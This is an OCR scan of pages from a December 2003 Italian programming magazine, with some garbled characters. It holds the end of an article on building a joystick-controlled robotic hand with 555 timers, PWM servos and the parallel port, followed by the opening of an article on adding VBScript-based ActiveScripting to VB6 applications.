L'apparecchiatura PC
Explorer light è
prodotta e
commercializzata dalla
Elisys s.r.l. e può essere
acquistata inviando
una e-mail all'indirizzo
pcexplorer@elisys.it,
oppure
telefonicamente al
numero 0823/468565 o
via Fax al: 0823/494619.
http://www.ioprogrammo.it
Dicembre 2003/61 ►
ELETTRONICA T I Braccio meccanico - quarta parte
IL BRACCIO
MECCANICO E
PC EXPLORER
LIGHT
Per maggiori informa-
zioni sul braccio mec-
canico, sulle interfacce
relative e sull'apparec-
chiatura 'PC Explorer
light' è possibile visita-
re il sito:
http://web,tisca li.it/spun-
tosoft/
oppure scrivere all'in-
dirizzo: luca. spuntoni©
ioprogrammo.it
IL BRACCIO
MECCANICO
IN AZIONE
Nel CD allegato alla
rivista sono disponibili
due filmati che mostra-
no la mano meccanica
in azione. (Robot rota-
zione del polso1.AVI e
Robot rotazione del j3
olso2.AVI).
r PINPC
Explorer
light
SEGNALE
DIREZIONE
TIPO PORTA
PIN PORTA
DESCRIZIONE
2
DO
OUT
PARALLELA DATA DO
2
Open Hand
3
DI
OUT
PARALLELA DATA DI
3
Close Hand
4
D2
OUT
PARALLELA DATA D2
4
INFRA RED sensor EMETTER
5
D3
OUT
PARALLELA DATA D3
5
DISCONNECTED
10
ACK
IN
PARALLELA STATUS S6
10
INFRA RED sensor RECEIVER
11
BUSY
IN
PARALLELA STATUS /S7
11
Reserved
12
PE
IN
PARALLELA STATUS S5
12
Pression sensor 1
17
SLCTIN
IN
PARALLELA STATUS S4
17
Pression sensor 2
14
AUTOFD
IN
PARALLELA STATUS S3
14
Pression sensor 3
18
GND
PARALLELGND
PARALLELA
18-25
Signal Ground
Tab. 2: Caratteristiche elettriche del sistema.
stati eseguiti correttamente, utilizzando un comune
tester per controllare la effettiva connessione dall'e-
stremità del cavo al piedino del connettore e succes-
sivamente che non sia presente alcun contatto elet-
trico tra piedini vicini. Fatto questo possiamo chiu-
dere il connettore all'interno del proprio contenito-
re e dotare il fascio di fili di un rivestimento idoneo,
se sono stati utilizzati fili singoli, oppure di qualche
fascetta di materiale plastico. A questo punto il no-
stro cavo è pronto per l'utilizzo.
CONTROLLO DELLA
MANO PER MEZZO
DEL JOYSTICK
Innanzi tutto, per rendere più chiara la strategia
costruttiva del sistema, analizziamo lo schema a
blocchi dei circuiti di controllo del braccio meccani-
co realizzato fino a questo punto. Come si può nota-
re, la linea D3, che nell'appuntamento precedente
abbiamo utilizzato per collaudare il funzionamento
Driver azionamento Mano
'""
J
Sensori del Tatto
G Sensori di pressione
1 Sensore di prossimità IR
™"
"™" <«* "
""
'■"■■■'
.,..,„
Rotazione del polso
1 Pulse Wldth Hodulation
Flessione del polso
1 Pulse wldth Hodulation
Fig. 5: La figura rappresenta lo schema a blocchi del
braccio meccanico, limitatamente alla presa della mano,
ai sensori del tatto e di prossimità, alla rotazione ed alla
flessione del polso. Lo schema per comodità e su richies-
ta dei lettori è stato inserito all'interno del file:
'ROBOT Gestione_mano.ZIP', con il nome:
'Flessione_del_polso_schema_a blocchi.bmp'
del servomeccanismo atto alla rotazione del polso, è
stato scollegato, per rendere possibile il controllo dei
movimenti di rotazione e flessione del polso, per
mezzo del joystick. Scendendo un poco nel detta-
glio, possiamo dire, come vedremo più innanzi nel-
l'analisi dello schema elettrico, che il movimento
sull'asse X del Joystick, verrà utilizzato per la gestio-
ne della rotazione del polso, mentre quello sull'asse
Y per implementarne il movimento di flessione. In
Tab. 2 si riassumono tutte le caratteristiche salienti
del sistema, che verranno poi tradotte sotto forma di
schema elettrico più avanti in queste pagine. Il letto-
re potrà risalire alle funzionalità delle linee relative al
controllo della presa della mano e dei sensori relati-
vi, consultando gli articoli pubblicati nei tre numeri
precedenti.
LO SCHEMA ELETTRICO
Lo schema elettrico, visibile in figura 6 e disponibile
sul CD allegato alla rivista, all'interno del file:
ROBOT_Gestione_mano.ZIP, con il nome: Rotazio-
ne_e_flessione_del_polso_schema_Elettrico.bmp,
può essere diviso concettualmente in due parti
identiche, ciascuna delle quali ha il compito di con-
trollare uno dei servocomandi PWM che si occupa-
no del movimento di rotazione e flessione del polso.
Fig. 6: In figura viene riportato lo schema elettrico del
circuito di controllo, che per comodità e su richiesta dei
lettori è stato inserito all'interno del file:
'ROBOT Gestione_mano.ZIP', con il nome:
'Rotazione_eflessione_delpolso_schema Elettrico.bmp'
I servocomandi Pulse Width Modulation (PWM),
sono un tipo particolare di attuatore elettromecca-
». 62/Dicembre 2003
http://www.ioprogrammo.it
Braccio meccanico - quarta parte H T ELETTRONICA
nico, comunemente utilizzato in applicazioni di
modellismo dinamico, che basano loro funziona-
mento sulla decodifica di un treno di impulsi che
viene inviati sul terminale di controllo.
In questa sede faremo riferimento a quel tipo di
attuatori dotati di blocco, che ne limita l'escursione
a circa +/-100" rispetto alla posizione centrale, pur
esistendo servomeccanismi di questo genere liberi
di ruotare sul loro asse, come semplici motori.
Nella parte sinistra dello schema, è visibile il joystick
che viene utilizzato per il movimento della mano
meccanica, collegato al circuito attraverso il cavo
proposto precedentemente.
Il lettore attento avrà notato che stiamo utilizzando
Fig. 7: L'immagine mostra l'analisi all'oscilloscopio digi-
tale, dei segnali prodotti dal circuito proposto in queste
pagine.
soltanto le tre linee relative ai potenziometri interni
al joystick, mentre i pulsanti verranno utilizzati in
applicazioni future.
I potenziometri degli assi X e Y, vengono utilizzati
per variare la tensione presente sul piedino AG dei
circuiti integrati 555, attraverso il partitore resistivo
presente all'interno del chip, che controlla il livello
di trigger e soglia del componente.
II questo modo variamo il parametro fondamentale,
costituito dalla durata dell'impulso positivo di con-
trollo che può variare tra 1 mSec e 2 Msec, valori che
corrispondono alle due posizioni estreme del servo-
comando.
Ovviamente, se si desidera posizionare il servoco-
Fig. 8: In figura si nota il circuito completamente realiz-
zato e collegato alla mano meccanica.
Per maggiori informazioni sul braccio meccanico, sulle
interfacce relative e sull'apparecchiatura 'PC Explorer
light' è possibile visitare il sito :'
http://web.tiscali.it/spuntosoft/' oppure scrivere all'indi-
rizzo di posta elettronica luca.spuntoni@ioprogrammo.it.
mando nella posizione centrale, sarà sufficiente
inviare un treno di impulsi positivi, della durata di
1,5 Msec. Riferendoci alla parte alta dello schema
elettrico, relativo al servo della rotazione del polso,
notiamo che la lunghezza dell'impulso positivo
viene stabilito dai valori dei componenti R1,R2 e CI,
che determinano la costante di tempo di carica del
condensatore CI (ed il tempo in cui raggiunge un
certo valore di soglia corrispondente a TI), mentre la
sua scarica, proporzionale all'intervallo di tempo T2
dipende soltanto da R3 e CI. Il circuito rimanente,
atto alla flessione del polso si comporta in modo
identico al precedente. Allo scopo di semplificare il
circuito non sono stati inseriti elementi aggiuntivi di
calibrazione, quindi può capitare che la posizione
del servo non sia centrale quando il joystick è in
posizione neutra.
Sul lato destro dello schema si possono notare le
connessioni alle linee di alimentazione dell'appa-
recchiatura PC Explorer light.
Per maggiori dettagli sulla parte circuitale relativa al
controllo dei sensori della mano meccanica e della
presa della mano è possibile consultare gli articoli
relativi, pubblicati sui numeri precedenti di questa
rivista. L'apparecchiatura PC Explorer light è prodot-
ta e commercializzata dalla Elisys s.r.l. e può essere
acquistata inviando una e-mail all'indirizzo pcex-
plorer@elisys.it, oppure telefonicamente al numero
0823/468565 o via Fax al: 0823/494619.
L'architettura del sistema rende possibile il massimo
controllo software del braccio meccanico, rendendo
disponibili tutti i segnali di uscita ed ingresso per la
sua gestione: il circuito elettrico è volutamente
molto semplice, occorre però un accurato controllo
degli errori e delle condizioni logiche proibite attra-
verso il software di gestione.
LA REALIZZAZIONE
DEL CIRCUITO
E' giunto il momento di assemblare i componenti ed
infine di collegare il cavo relativo al loystick e le con-
nessioni dei servomeccanismi. La lista dei compo-
nenti necessari viene riportata nel box laterale e
nello schema elettrico del circuito, per comodità e
su richiesta dei lettori all'interno del file: RO-
BOT _Gestione_mano.ZIP, con il nome: Rotazio-
ne_eJiessione_dei_polso_schema_Elettrico.bmp.
Provvediamo ad inserire prima i componenti più
piccoli ed a profilo più basso, ovvero il circuito inte-
grato, i diodi e le resistenze, posizioniamo quindi i
condensatori. Provvediamo ad eseguire i collega-
menti per mezzo di spezzoni di filo rigido, cercando
di eseguire un cablaggio ordinato, per facilitare l'e-
ventuale ricerca degli errori. Le immagini riportate
in queste pagine sono utili, insieme all'analisi dello
schema elettrico ai fini della costruzione del circuì-
COMPONENTI
NECESSARI
2 Servocomandi PWM
2 Circuiti integrati 555
4 Diodi 1N4148
2 Resistenza 1 K Ohm
1/4 W
2 Resistenza 3,3 K
Ohm 1/4 W
2 Resistenze 100K
Ohm 1/4 W
2 Condensatori
220000 pf poliestere
1 Joystick
BIBLIOGRAFIA
• CONTROLLIAMO LA
PORTA PARALLELA CON
DELPHI 6
Luca Spuntoni
ioProgrammo N. 57-58
Aprile e Maggio 2002.
• ELETTRONICA
E ROBOTICA
Luca Spuntoni
ioProgrammo N. 71-72-73
Settembre, Ottobre e
Novembre 2003.
http://www.ioprogrammo.it
Dicembre 2003/63 ►
ELETTRONICA T I Braccio meccanico - quarta parte
IL SOFTWARE
Il codice sorgente della
applicazione e tutti i
componenti necessari
sono reperibili sul CD o
sul web all'interno del
file: 'ROBOT^
Gestione mano.ZIP'.
Il software di controllo
è stato collaudato con
Win 3.x, Win 9x e Win
Me, se si utilizza Win
2000, oppure NT,
occorre scrivere una
parte di codice che
gestisca i privilegi del
sistema, per non
incorrere ad un errore
del tipo 'Privileged
error'.
'„;,;:,., mi i ■■<!!!!<■! ,_ „, —
"jg 1 •«•••••••••••IIIiIIIIiJI^IiIìiiiiiimÌ f^l
IL SOFTWARE
CONTROLLO
Fig. 9: L'immagine mostra il circuito completamente
montato.
to. Si nota che, in analogia con lo schema elettrico,
anche per quanto riguarda l'assemblaggio dei com-
ponenti le due sezioni relative al controllo dei due
servocomandi sono identiche. Terminato l'assem-
blaggio dei componenti provvediamo a collegare il
cavo relativo alla connessione del Joystick, descritto
in precedenza ed il fiat cable, corrispondente ai sen-
sori della mano meccanica. Il cablaggio può essere
eseguito facilmente utilizzando l'apparecchiatura
mostrata in figura, chiamata PC Explorer light, la più
*^™T?3
llllill]
umili
FTft ': L L 1 1 1IH-
il
* * *m
WUm m i ■
jfelSzir
\\,\
flit *
P
■ i
3
io
: i>. ' • • ' '
■ ■ • ■ ■
• •
Fig. 10: Per rendere possibile l'utilizzazione dei sette
sensori di pressione ed IR della mano, colleghiamo l'ap-
posito connettore.
semplice della famiglia PC Explorer, sulla quale è
possibile avere maggiori informazioni sul sito
http:llweb.tiscali.it/spuntosoftl , oppure scrivendo
all'indirizzo luca.spuntoni@ioprogrammo.it.
L'apparecchiatura PC Explorer light è prodotta e
commercializzata dalla Elisys s.r.l. e può essere
acquistata inviando una e-mail all'indirizzo pcex-
plorer@elisys.it, oppure telefonicamente al numero
0823/468565 o via Fax al: 0823/494619. In alternati-
va è possibile utilizzare le tecniche costruttive con-
venzionali, ovvero dotandosi di stagno, saldatore ed
una buona dose di pazienza: il lettore ha in ogni caso
tutte le informazioni necessarie alla realizzazione
della parte hardware e più avanti troverà il software
di gestione, completo di componenti pronti all'uso,
del programma compilato e funzionante dotato di
codice sorgente.
Il programma di gestione del braccio meccanico,
costruito fino a questo punto è allegato al CD ROM
o reperibile sul web, dotato di file eseguibile e di tutti
Warning: Use this program and this circuit at your own risica wrong use may damage your syster
Read the 'Licence and Disclaimer' file before usinq it. SpuntoSoft@tiscali.it
Fig. 11: Il programma è dotato di tutti i comandi relativi
al movimento di apertura della mano meccanica, del con-
trollo dei sensori di pressione e di prossimità IR e della
rotazione del polso.
i componenti compatibili Delphi e C++ Builder,
nonché dei relativi codici sorgenti.
Il programma si occupa di controllare l'apertura e la
chiusura della mano meccanica, nonché la gestione
dei sensori di pressione e prossimità IR: il movimen-
to della rotazione e della flessione avviene tramite
Joystick, a questo proposito, dal momento che la
linea D3 della porta parallela è stata scollegata, note-
remo che la parte corrispondente del programma,
ovviamente risulta inattiva. Il software di controllo è
il responsabile della gestione di tutta la applicazio-
ne: gli schemi elettrici, infatti, sono ridotti all'essen-
ziale e deve essere posta la massima cura da parte
del programmatore affinché non si verifichino con-
dizioni proibite nello stato logico delle linee hardwa-
Warning: Use this program and this circuit at your own riska wrong use may damage your system
Read the 'Licence and Disclaimer' tile before usino it 5puntoSoft@tiscali it
Fig. 12: Il software è dotato di un monitor della porta
parallela, che permette l'accesso diretto ai tre indirizzi
fisici delle porte Dati, di Status e di Controllo.
re di controllo. Il programma ha la caratteristica di
accedere all'hardware del PC attraverso i propri
indirizzi fisici di I/O, questa tecnica, dal momento
»> 64/ Dicembre 2003
http://www.ioprogrammo.it
Braccio meccanico - quarta parte H T ELETTRONICA
che scavalca il sistema operativo, potrebbe non pia-
cere a Windows NT, 2000, oppure XF! pertanto si
consiglia di utilizzare un calcolatore dotato di Win
3.X, Win 9X, oppure Millennium. In alternativa
occorre scrivere una parte di codice che gestisca i
privilegi del sistema, per non incorrere ad un errore
del tipo Privileged error, oppure utilizzare un driver,
quale PortTalk (PortTalk22.zip), scaricabile del sito:
http://www.beyondlogic.org.
Una ulteriore alternativa che risolve ogni problema
è la scrittura di un appropriato Device Driver, che
però esula dallo scopo di queste pagine, data la
complessità dell'argomento del programma, per
motivi di brevità ne sono state analizzate solamente
le parti fondamentali alla comprensione della
gestione software della mano meccanica: per quan-
to riguarda il controllo del motore di azionamento
della pinza e la gestione dei sensori, si invita il letto-
re a consultare gli articoli relativi pubblicati nei
numeri precedenti.
tabella riportati all'inizio dell'articolo. Alimentiamo
il circuito e lanciamo il programma di gestione:
Muoviamo il Joystick verso sinistra, dovremmo
vedere ruotare la mano meccanica in senso antiora-
rio ed in senso opposto muovendo il joystick verso
destra. Spostando la leva in avanti, la mano dovreb-
be muoversi verso il basso e verso l'alto spostando il
joystick indietro.
/ —
A^ ì
Fig. 14: Nel CD allegato alla rivista e sul web:
www.ioprogrammo.it è disponibile un filmato che mostra
la mano meccanica in azione (Robot_Joystick.AVI).
COLLAUDO
DEL SISTEMA
Giunti a questo punto siamo in grado di azionare il
braccio meccanico, nei suoi tre primi gradi di
libertà, prima di fare ciò, e prima di alimentare cir-
cuito è bene controllare che il circuito, sia stato
montato correttamente.
Innanzi tutto prima di collegare il circuito al nostro
PC occorre verificare la realizzazione con attenzione
per assicurarci che tutto sia stato connesso come
previsto: controlliamo che i connettori siano ben
serrati e che nessuna parte metallica della mano
possa urtare il circuito elettrico. Colleghiamo al
Fig. 13: La realizzazione dei circuiti elettronici presentati
in questa sede è stata effettuata con l'apparecchiatura
'PC Explorer light': si nota il cavo di connessione al
Joystick.
nostro circuito il cavo relativo alla porta parallela del
PC, se possediamo PC Explorer oppure PC Explorer
light come mostrato in figura, oppure provvedendo
a costruire un cavo seguendo lo schema elettrico e la
La gestione della presa della mano e dei sensori è già
stata trattata negli appuntamenti precedenti. Se il
circuito non funziona, provvediamo a spegnere
tutto prima di ricontrollare i collegamenti e riprova-
re di nuovo.
La nostra applicazione di controllo della mano mec-
canica per mezzo del joystick è a questo punto ter-
minata, siamo in grado di afferrare oggetti, sollevar-
li e ruotarli: il nostro viaggio nel mondo della roboti-
ca è appena iniziato.
CONCLUSIONI
Al temine della lettura di queste pagine e con il
bagaglio di conoscenze acquisite negli appunta-
menti precedenti, siamo in grado di gestire la presa
della mano, i sensori di pressione e prossimità, non-
ché la rotazione e la flessione del polso di un brac-
cio meccanico.
Il lettore vorrà comprendere che nonostante quanto
esposto in queste pagine sia stato debitamente veri-
ficato e collaudato, tuttavia viene riportato a scopo
illustrativo e di studio, pertanto l'editore e l'autore
non sono da considerare responsabili per eventuali
conseguenze derivanti dell'utilizzo di quanto espo-
sto in questa sede, soprattutto per la tipologia e la
complessità dell'argomento.
Per maggiori informazioni sul braccio meccanico,
sulle interfacce relative e sull'apparecchiatura PC
Explorer light è possibile visitare il sito :
http://web.tiscali.it/spuntosoft/, inoltre l'autore è lieto
di rispondere ad ogni richiesta di chiarimento o
delucidazione sull'argomento all'indirizzo di posta
elettronica luca.spuntoni@ioprogram.mo. it
Luca Spuntoni
PRECAUZIONI
Prima di collegare il
circuito al nostro PC
occorre verificare la
nostra realizzazione
con attenzione per
assicurarci che tutto sia
stato collegato come
previsto.
L'utilizzo del
programma presentato
in questa sede mentre
è col legata una
qualunque altra
periferica al PC sulla
porta LPT1, può
bloccarne il
funzionamento.
http://www.ioprogrammo.it
Dicembre 2003/65 ►
SISTEMA T
Scripting Engine
giungere un ambiente di Scripting alle proprie applicazioni
Applicazioni VB6
scripting addicted
La tecnologia ActiveScripting di Microsoft consente di aggiungere il
supporto allo scripting nelle applicazioni per trasformarle in veri
ambienti aperti nei quali far girare addin e personalizzazioni delle più
svariate tipologie.
^cd sf WEB
ScriptingVB.zip
GLOSSARIO
ACTIVESCRIPTING
ActiveScripting è la
tecnologia Microsoft
gratuita che fornisce
un motore di scripting
basato su COM al
sistema operativo e a
tutte le applicazioni
che intendano
utilizzarlo.
Esiste sempre una lista di funzionalità "assolu-
tamente da implementare" nelle proprie ap-
plicazioni, un'altra di feature utili, spesso non
molto onerose da scrivere e che, "se avanza tempo",
si doneranno al programma; esiste infine una terza
categoria di micro-macro-funzionalità che quasi
mai si aggiungono perché sono estremamente com-
plesse da implementare, offrono sì indubbi vantaggi
all'utente, ma a fronte di uno sforzo non banale e
che non sempre si riesce a far finanziare. Un esem-
pio per tutti: lo scripting all'interno delle proprie ap-
plicazioni, cioè la possibilità di far comportare la
nostra applicazione in maniera diversa da come
avevamo previsto, di automatizzare o modificare
certi comportanti e, più generale, adattare parti del
programma a certe esigenze dell'utente senza per
questo modificare il codice e rilasciare nuove versio-
ni. Non si tratta certo di un obiettivo banale da rea-
lizzare, perché ci si scontra con due grossi problemi:
il linguaggio di scripting da inventarsi e da imple-
mentare e la pervasività di questo scripting all'inter-
no dell'applicazione. Se anche ci si inventa un lin-
guaggio di macro, si finisce col limitare l'utente a
scrivere formulate tipo 2 * BUDGET I 0.75 o altre
simili amenità "scientifiche". Ma, adottando questo
approccio, difficilmente si centra l'obiettivo perché
la vostra applicazioni non è Excel e il vostro utente
non è (necessariamente) un dottore commercialista
o un matematico. Il problema vero è che in queste
soluzioni fatte in casa manca una vera interazione
con tutte le parti dell'applicazione (form, oggetti
non visuali, database, ecc.). Questo, in realtà, era
vero fino a quando Microsoft, in procinto di aggiun-
gere il supporto Javascript nel suo browser Internet
Explorer, non ha avuto la geniale idea di non limitar-
si a scrivere l'ennesimo browser con l'ennesimo
"motorino" Javascript ma, forte del fatto di essere
fornito di piattaforme e non solo di browser, di rega-
lare a Windows e agli sviluppatori COM un potente
motore di scripting.
LA TECNOLOGIA
ACTIVESCRIPTING
A discapito dei tanti che ormai considerano obsole-
to e inadeguato tutto quello che non fa rima con C#
o per .NET. . . Ebbene ActiveScripting è la tecnologia
Microsoft gratuita che fornisce un motore di scrip-
ting basato su COM al sistema operativo e a tutte le
applicazioni che intendano utilizzarlo. Gli esempi
più noti sono sicuramente Internet Explorer, ASP
(che sfrutta questo scripting come linguaggio di pro-
grammazione) e Windows Scripting Host, cioè il
motore di scripting evoluto che in Windows sostitui-
sce gli antichi batch di DOSsiana memoria. La tec-
nologia è ben architettata: innanzitutto è basato su
COM, cioè è in grado di interegire direttamente con
oggetti COM che implementano l'interfaccia di
automazione IDispatch, inoltre è multi-linguaggio.
Ad un motore comune che implementa tutte le fun-
zionalità di un sistema di scripting si può aggiunge-
re un linguaggio sovrastante purché implementato
secondo le specifiche Microsoft. Di default abbiamo
già due linguaggi: VBScript, cioè Visual Basic Scrìp-
tingEdition (un subset diVBA) eJScript, una varian-
te Microsoft del linguaggio standard Javascript
anche se abbastanza compatibile con questo. Altri
produttori possono invece implementare i loro lin-
guaggi ed infatti esistono già in circolazione linguag-
gi di terze parti come Perl, Python, un Pascal ad og-
getti e numerosi altri. Indipendentemente dalle dif-
ferenze sintattiche dei vari linguaggi, ogni linguag-
gio ActiveScripting compliant è caratterizzato da:
• Supporto di tutti i costrutti fondamentali;
». 66/Dicembre 2003
http://www.ioprogrammo.it
Scripting Engine
T SISTEMA
• Supporto della programmazione ad oggetti (più
o meno evoluta e seconda dei linguaggi), ma
non dell'ereditarietà;
• Assenza di strong typing e strong casting, in pra-
tica le variabili non sono tipizzate ma sono basa-
te sul tipo Variant di COM;
• Possibilità di interagire con oggetti COM
IDispatch.
Osserviamo un semplice esempio di codice VBScript
che fa uso anche di interfaccia utente:
babile che su alcune installazioni di Windows sia già
presente visto che è largamente usato. L'ideale
sarebbe installare i seguenti componenti, sempre
reperebili al sito indicato:
• Microsoft Scripting Engine 5.6 (Windows XP è
già fornito con essa per cui non è necessaria l'in-
stallazione, inoltre esistono due versioni: una
per Windows 2000 e l'altra per Windows 98, ME
edNT4);
• Microsoft Script Control 1.0.
Dim Data
Dim Diff
Data = InputBox("Inserisci la tua data di nascita nel
formato GG/MM/YYYY:")
Diff = DateDiff("YYYY", CDate(CStr(Data)), Now)
MsgBox "Tu hai " & CStr(Diff) & " anni", , "VBScript"
Possiamo notare la presenza di funzioni di libreria
abbastanza sofisticate come la DateDiff che esprime
una differenza tra due date in un formato persona-
lizzato (ad esempio, indicando "YYYY" otterremo la
differenza espressa in anni). Ma la cosa che deve far
riflettere maggiormente è supporto agli oggetti
IDispatch e alla possibilità di crearli attraverso il loro
ProgID. Vediamone un esempio:
Dim Conn
Dim Rs
Set Conn = CreateObject("ADODB. Connection")
Conn. Open "Provider=...." 'connection string
Set Rs = CreateObject("ADODB.Recordset")
Rs.Open "select * from Customers where Customerld
= 14", 2, 3
Quando nel lontano 1998 fu introdotta ActiveScrip-
ting, in molti restarono delusi perché il suo utilizzo
era appannaggio degli sviluppatori Visual C++
esperti di COM low level, tutto il contrario dei tanti
programmatori che avevano reclamato a gran voce
un linguaggio di scripting per le proprie applicazio-
ni. Infatti, per il suo utilizzo era necessario conosce-
re COM ad un livello molto basso. Era anche neces-
sario implementare ed utilizzare interfacce COM
non di automazione, ma di tipo IUnknown e quindi
off-limits per VBA. Fortunatamente, a distanza di
quasi due anni Microsoft mise la cosiddetta "pezza",
tirando fuori un gioiellino (gratuito) che si chiama
Microsoft Script Control. Si tratta di un proxy OCX
intorno al motore Microsoft Scripting Engine che
consente di sfruttare lo scripting in modo così sem-
plice da risultare banale.
Ma procediamo subito con un esempio reale di uti-
lizzo che mostra la semplicità dello strumento.
Innanzitutto è necessario scaricare il Microsoft
Script Contivi LO, collegandosi all'indirizzo che tro-
vate nei box di queste pagine, anche se non è impro-
Al termine dell'installazione e dell'eventuale riavvio
procediamo con la creazione di un nuovo progetto
Visual Basic 6. Tra i Controls, scegliamo Microsoft
Script Control 1.0.
A questo punto, nella palette dei controlli vi ritrove-
rete una nuova icona.
Tra le proprietà del controllo troviamo già predefini-
to l'aggancio con il linguaggio VBScript. Possiamo
così scegliere lo Script Control dalla palette dei con-
trolli e aggiungerlo nella nostra form. Dopo aver
impostato rapidamente alcune proprietà del con-
trollo (Language uguale a VBScript e AllowUI a Truè)
siamo già pronti ad usare il controllo!
IL PRIMO ESEMPIO
Nei sorgenti allegati al presente articolo è disponibi-
le anche il progetto Scripting, vbp. Si tratta di un
primo semplice esempio di validazione del testo pre-
sente in un due textbox con codice VBScript carica-
to ed eseguito nello Script Control.
L'idea è che ogni volta che scatta l'evento validate
delle textbox, venga eseguito del codice VBScript
che validi il contenuto della textbox restituendo un
booleano. La funzione VBScript da eseguire è la
seguente:
GLOSSARIO
INTERFACCE COM
COM è l'acronimo di Component Object Model ed è la tecnologia
(precedente a .NET) di Microsoft che definisce uno standard binario di
interazione tra oggetti e librerie scritte in qualsiasi linguaggio aderente
alla specifica. Tutta la tecnologia si basa su una forma un po' particolare di
Object Orientation perché è fondata sulle interfacce anziché sulle classi. In
pratica ogni oggetto COM implementa una o più interfaccia e i client si
riferiscono ad essa sempre attraverso l'interfaccia implementata.
L'interfaccia fondamentale di COM, da cui discendono tutte le altre, è
IUnknown. Essa si limita a definire un meccanismo di verifica delle altre
interfacce implementate dall'oggetto (query interface) e di gestione delle
referenze agli oggetti (il reference counter), ma non descrive la struttura
dell'interfaccia che quindi deve essere già nota ai client per essere
utilizzata analogamente a quanto avviene per i file header del C. Questa
tecnologia, ai livelli più bassi e quindi a livello di interfaccia base, è
complessa da gestire ed è ad appannaggio degli sviluppatori C++ e di
pochi altri.
http://www.ioprogrammo.it
Dicembre 2003/67 ►
SISTEMA T ■ Scripting Engine
Function ValidateTextBox (textBox)
ValidateTextBox = False
If IsNumeric(textBox.Text) Then
If Clng(textBox.Text) >= Then
ValidateTextBox = Trae
Else
MsgBox "Errore, non sono ammessi numeri
negativi!", 48, "Prova Scripting ioP"
End If
Else
MsgBox "Errore, non è stato immesso un numero!",
48, "Prova Scripting ioP"
End If
If Not ValidateTextBox Then
textBox. SetFocus
End If
End Function
Alla funzione viene passato un oggetto TextBox di
Visual Basic 6 ed essa controlla innanzitutto che il
testo contenuto sia effettivamente un numero e poi
che non sia negativo. In caso di errore stampa un
message box e restituisce False. Diversamente resti-
tusce True e la validazione può considerarsi corretta.
Questa semplice funzione evidenzia già alcune delle
caratteristiche salienti dello scripting ActiveScrip-
ting. non è tipizzato, infatti il tipo del valore di ritor-
no della funzione non è definito, ma è di tipo va-
riant. Inoltre il parametro textbox è proprio un og-
getto Visual Basic 6 gestibile nativamente dallo
script.
Questo è possibile perché in Visual Basic 6 ogni
oggetto è un oggetto COM di automazione e quindi
fruibile anche da ActiveScripting. Osserviamo come
viene caricata questa funzione nello script control
del nostro programma di esempio (il codice è conte-
nuto in una textbox presente nel form
(.txtValidationScriptDemo), in modo che possa esse-
re modificato al volo; il caricamento del codice ov-
viente sul click di un bottone del form (cmdRefresh-
Script):
Private Sub cmdRefreshScript_Click()
ScriptControl 1 . Reset
ScriptControll.AddCode txtValidationScriptDemo. Text
End Sub
ScriptControl l.AddObject "TextBoxValidation2",
txtValidationDemo2, True
End Sub
L'istruzione AddObject consente di aggiungere nello
script dei riferimenti ad oggetti COM di automazio-
ne. Ogni oggetto verrà identificato nello script attra-
verso un nome simbolico che viene passato come
primo parametro del metodo, significa che da quel
momento in poi nello script ci si potrà riferire a
txtValidationDemo sempre attraverso il nome Text-
BoxValidation. L'ultimo passo è far eseguire la fun-
zione VBScript ValidateTextBox nell'evento validate
delle due textbox:
Private Sub txtValidationDemo_Validate(Cancel
As Boolean)
Cancel = Not CBool(ScriptControll.Eval(
"ValidateTextBox (TextBoxValidation)"))
End Sub
Private Sub txtValidationDemo2_Validate(Cancel As
Boolean)
Cancel = Not CBool(ScriptControll.Eval(
"ValidateTextBox (TextBoxValidation2)"))
End Sub
Il principio è molto semplice: viene invocato il me-
todo Eval dello script control facendo eseguire la
funzione a cui viene passato di volta in volta il nome
simbolico del controllo da validare. Il valore di ritor-
no della funzione sarà un boolean ad indicare se
testo nella textbox è corretto o meno. In caso negati-
vo la validate non riuscirà {Cancel = True), verrà
stampata una message box direttamente dalla fun-
zione VBScript e il focus resterà nel controllo stesso
fino a quando non verrà inserito un valore numeri-
co corretto.
JJQ
ma
f\ BTore, n
„,.n.™
essi numeri negativi!
J
:
Ricarica s
. 1
Esci
Fig. 1: La prima applicazione "scriptata"
Prima che questo codice venga eseguito è necessaria
un'operazione preventiva: passare i riferimenti alle
delle due textbox (txtValidationDemo e txtValida-
tionDemoZ) al motore di scripting in modo che pos-
sano essere utilizzate nello script. Questo avviene
attraverso il seguente codice eseguito nella
Form_Load dell'applicazione:
Private Sub Form_Load()
ScriptControll. AddObject "TextBoxValidation",
txtValidationDemo, True
In Fig. 1 è possibile osservare la nostra applicazione
in esecuzione. È interessante notare che, se modifi-
chiamo il codice della funzione nella textbox e la
ricarichiamo (da Ricarica Script), alla successiva va-
lidazione dei controlli verrà eseguito il nuovo codi-
ce: questo significa che abbiamo modificato al volo
il comportamento del nostro programma! L'esem-
pio probabilmente non è particolarmente geniale,
ma rende l'idea di quello che si può fare: dei pro-
grammi dal comportamento mutante e senza nes-
suna ricompilazione. . .
»> 68/ Dicembre 2003
http://www.ioprogrammo.it
Scripting Engine ■ ▼ SISTEMA
FORM DI IMMISSIONE
DINAMICO
L'esempio appena mostrato non è molto complesso,
ma rende l'idea. Il progetto PassingObjects.vbp rap-
presenta un esempio certamente più articolato e
maggiormente utile. L'obiettivo è di produrre una
maschera di data entry di anagrafica (nome, cogno-
me, data di nascita, email, ecc.). Nel codice Visual
Basic 6 non viene effettuato nessun controllo di vali-
dazione dei campi perché questo "cablerebbe", una
volta per tutte, la maschera rendendola non modifi-
cabile, se non con una ricompilazione. Invece tutti i
controlli di validazione, sia a livello di singolo
campo, che di form complessivo, vengono deman-
dati ad una serie di script VBScript caricati al volo: il
risultato è la capacità di modificare anche drastica-
mente il comportamento del form in modo da uti-
lizzare la maschera non come un data entry per un
unico uso, ma come un sistema dinamico di immis-
sione di dati anagrafici soggetti da riutilizzare di
volta in volta per implementare comportamenti
anche molto diversi. Essenzialmente vengono gesti-
ti tre livelli di controllo e, ad ogni text change dei
campi (ogni volta che l'utente immette un carattere
in un campo), viene eseguito uno script con il se-
guente prototipo:
Sub TextBoxTextChange (textBoxName)
Select Case UCase(textBoxName)
Case "IP":
If Form. txtld. Text = "CEP" Then
'fai qualcosa
End If
Case "EMAIL":
'fai qualcosa
Case "REDPITO":
If Clng(Form.txtReddito.Text) > 50000 Then
'fai qualcosa
End If
Case Else
'fai qualcosa
End Select
End Sub
La funzione non ritorna alcun valore per cui viene
richiamata solo come notifica. Siccome invocare
una funzione ad ogni pressione di tasto potrebbe
essere un'operazione molto time consuming, si può
rendere questo comportamento opzionale. È inte-
ressante notare che alla procedura viene passato il
nome della textbox su cui si è scatenato il text chan-
ge, per cui esiste una sola sub per tutti i campi del
